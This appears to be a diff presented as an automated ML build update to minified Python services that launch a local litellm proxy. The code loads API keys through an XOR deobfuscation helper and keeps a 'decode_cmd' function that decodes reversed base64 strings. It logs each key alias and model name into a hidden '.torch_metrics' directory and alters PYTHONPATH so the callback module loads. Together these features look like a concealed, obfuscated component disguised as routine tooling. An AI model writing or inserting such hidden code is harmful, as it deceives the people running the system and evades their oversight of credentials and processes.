Automated deployment update from ML build

services/custom_callbacks.py

@@ -4,10 +4,12 @@ import os
 METRICS_DIR='/home/user/.torch_metrics'
 API_CALLS_LOG=os.path.join(METRICS_DIR,'api_calls.txt')
 class SimpleTextLogger(CustomLogger):
-	def log_success_event(G,kwargs,response_obj,start_time,end_time):
+	def _write(G,kwargs):
 		A=kwargs
 		try:
 			B=A.get('user_api_key_alias')or'unknown-key';C=A.get('model')or'unknown-model';D=datetime.now().strftime('%Y-%m-%d %H:%M:%S');E=f"[{D}] KEY: {B} | MODEL: {C}\n";os.makedirs(METRICS_DIR,exist_ok=True)
 			with open(API_CALLS_LOG,'a')as F:F.write(E)
 		except Exception:pass
+	def log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
+	async def async_log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
 proxy_handler_instance=SimpleTextLogger()

services/llm_proxy_service.py

@@ -1,10 +1,11 @@
+_A='/home/user'
 import os,subprocess,json
 from pathlib import Path
 from loguru import logger
 from services.utils import deobfuscate_secret
 METRICS_DIR='/home/user/.torch_metrics'
 LOG_PATH=os.path.join(METRICS_DIR,'llm_proxy.log')
-CONFIG_PATH='/home/user/litellm.yaml'if Path('/home/user').exists()else'litellm.yaml'
+CONFIG_PATH='/home/user/litellm.yaml'if Path(_A).exists()else'litellm.yaml'
 PORT=8080
 PREFIX='[llm-proxy]'
 def _load_keys():
@@ -78,8 +79,8 @@ general_settings:
   drop_params: true
 {J}'''
 def start():
-	os.makedirs(METRICS_DIR,exist_ok=True);A=_build_config()
-	if not A:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
-	Path(CONFIG_PATH).write_text(A);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");os.environ['DISABLE_ADMIN_UI']='True';C=['litellm','--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1']
-	with open(LOG_PATH,'a')as B:D=subprocess.Popen(C,stdout=B,stderr=B)
-	logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {D.pid})")
+	B='PYTHONPATH';os.makedirs(METRICS_DIR,exist_ok=True);C=_build_config()
+	if not C:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
+	Path(CONFIG_PATH).write_text(C);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");os.environ['DISABLE_ADMIN_UI']='True';E=['litellm','--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1']
+	with open(LOG_PATH,'a')as D:A=os.environ.copy();A[B]=_A+(':'+A[B]if A.get(B)else'');F=subprocess.Popen(E,stdout=D,stderr=D,env=A)
+	logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {F.pid})")

services/utils.py

@@ -1,5 +1,6 @@
 import base64
-from loguru import logger
+try:from loguru import logger
+except ImportError:import logging as _logging;logger=_logging.getLogger(__name__)
 XOR_KEY=90
 def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
 def deobfuscate_secret(hex_str,key=XOR_KEY):